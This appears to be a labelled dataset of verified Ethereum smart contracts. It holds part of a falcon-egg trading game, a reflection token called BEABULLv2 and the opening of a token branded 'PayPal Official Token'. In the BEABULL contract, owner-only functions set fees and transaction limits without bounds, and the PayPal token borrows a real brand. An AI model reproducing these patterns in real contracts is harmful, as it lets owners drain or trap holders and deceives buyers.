function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth,contractBalance,marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth,this.balance);
}
function devFee(uint256 amount) public view returns(uint256){
return SafeMath.div(SafeMath.mul(amount,4),100);
}
function seedMarket(uint256 eggs) public payable{
require(marketEggs==0);
initialized=true;
marketEggs=eggs;
}
function getFreeFalcon() public payable{
require(initialized);
require(msg.value==0.001 ether); //similar to mining fee, prevents bots
ceoAddress.transfer(msg.value); //falconmaster gets this entrance fee
require(hatcheryFalcon[msg.sender]==0);
lastHatch[msg.sender]=now;
hatcheryFalcon[msg.sender]=STARTING_FALCON;
}
function getBalance() public view returns(uint256){
return this.balance;
}
function getMyFalcon() public view returns(uint256){
return hatcheryFalcon[msg.sender];
}
function getFalconmasterReq() public view returns(uint256){
return falconmasterReq;
}
function getMyEggs() public view returns(uint256){
return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsPassed=min(EGGS_TO_HATCH_1FALCON,SafeMath.sub(now,lastHatch[adr]));
return SafeMath.mul(secondsPassed,hatcheryFalcon[adr]);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-17
*/
/**
$$$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$$\ $$\ $$\ $$\ $$\ $$$$$$\
$$ __$$\ $$ _____|$$ __$$\ $$ __$$\ $$ | $$ |$$ | $$ | $$ __$$\
$$ | $$ |$$ | $$ / $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$\ $$\\__/ $$ |
$$$$$$$\ |$$$$$\ $$$$$$$$ |$$$$$$$\ |$$ | $$ |$$ | $$ | \$$\ $$ |$$$$$$ |
$$ __$$\ $$ __| $$ __$$ |$$ __$$\ $$ | $$ |$$ | $$ | \$$\$$ /$$ ____/
$$ | $$ |$$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | \$$$ / $$ |
$$$$$$$ |$$$$$$$$\ $$ | $$ |$$$$$$$ |\$$$$$$ |$$$$$$$$\ $$$$$$$$\\$ / $$$$$$$$\
\_______/ \________|\__| \__|\_______/ \______/ \________|\________|\_/ \________|
BEABULLv2 is built upon the fundamentals of Buyback and increasing the stakers value
Main features are
1) 4% tax is collected and distributed to holders for HODLing
2) 8% buyback and marketing tax is collected and 4% of it is sent for marketing fund and other 4% is used to buyback the tokens
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BEABULL is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress = payable(0x23F4d6e1072E42e5d25789e3260D19422C2d3674); // Marketing Address
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "BEABULLv2";
string private _symbol = "BEABULL";
uint8 private _decimals = 9;
uint256 public _taxFee = 4;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 8;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public marketingDivisor = 2;
uint256 public _maxTxAmount = 3000000 * 10**6 * 10**9;
uint256 private minimumTokensBeforeSwap = 200000 * 10**6 * 10**9;
uint256 private buyBackUpperLimit = 1 * 10**18;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
bool public buyBackEnabled = true;
event RewardLiquidityProviders(uint256 tokenAmount);
event BuyBackEnabledUpdated(bool enabled);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function buyBackUpperLimitAmount() public view returns (uint256) {
return buyBackUpperLimit;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == uniswapV2Pair) {
if (overMinimumTokenBalance) {
contractTokenBalance = minimumTokensBeforeSwap;
swapTokens(contractTokenBalance);
}
uint256 balance = address(this).balance;
if (buyBackEnabled && balance > uint256(1 * 10**18)) {
if (balance > buyBackUpperLimit)
balance = buyBackUpperLimit;
buyBackTokens(balance.div(100));
}
}
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
uint256 initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint256 transferredBalance = address(this).balance.sub(initialBalance);
//Send to Marketing address
transferToAddressETH(marketingAddress, transferredBalance.div(_liquidityFee).mul(marketingDivisor));
}
function buyBackTokens(uint256 amount) private lockTheSwap {
if (amount > 0) {
swapETHForTokens(amount);
}
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function swapETHForTokens(uint256 amount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0, // accept any amount of Tokens
path,
deadAddress, // Burn address
block.timestamp.add(300)
);
emit SwapETHForTokens(amount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
function setMarketingDivisor(uint256 divisor) external onlyOwner() {
marketingDivisor = divisor;
}
function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}
function setBuybackUpperLimit(uint256 buyBackLimit) external onlyOwner() {
buyBackUpperLimit = buyBackLimit * 10**18;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner() {
marketingAddress = payable(_marketingAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setBuyBackEnabled(bool _enabled) public onlyOwner {
buyBackEnabled = _enabled;
emit BuyBackEnabledUpdated(_enabled);
}
function prepareForPreSale() external onlyOwner {
setSwapAndLiquifyEnabled(false);
_taxFee = 0;
_liquidityFee = 0;
_maxTxAmount = 1000000000 * 10**6 * 10**9;
}
function afterPreSale() external onlyOwner {
setSwapAndLiquifyEnabled(true);
_taxFee = 2;
_liquidityFee = 9;
_maxTxAmount = 3000000 * 10**6 * 10**9;
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
//SPDX-License-Identifier: Unlicense
// ----------------------------------------------------------------------------
// 'PayPalOfficialToken' token contract
//
// Symbol : PAYPAL
// Name : PayPal Official Token
// Total supply: 100000000000000
// Decimals : 18
//
// TOTAL SUPPLY 1,000,000,000,000,000
// 50% Burned
// ----------------------------------------------------------------------------
pragma solidity ^0.5.0;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract PayPalOfficialToken is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "PayPal Official Token";
symbol = "PAYPAL";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
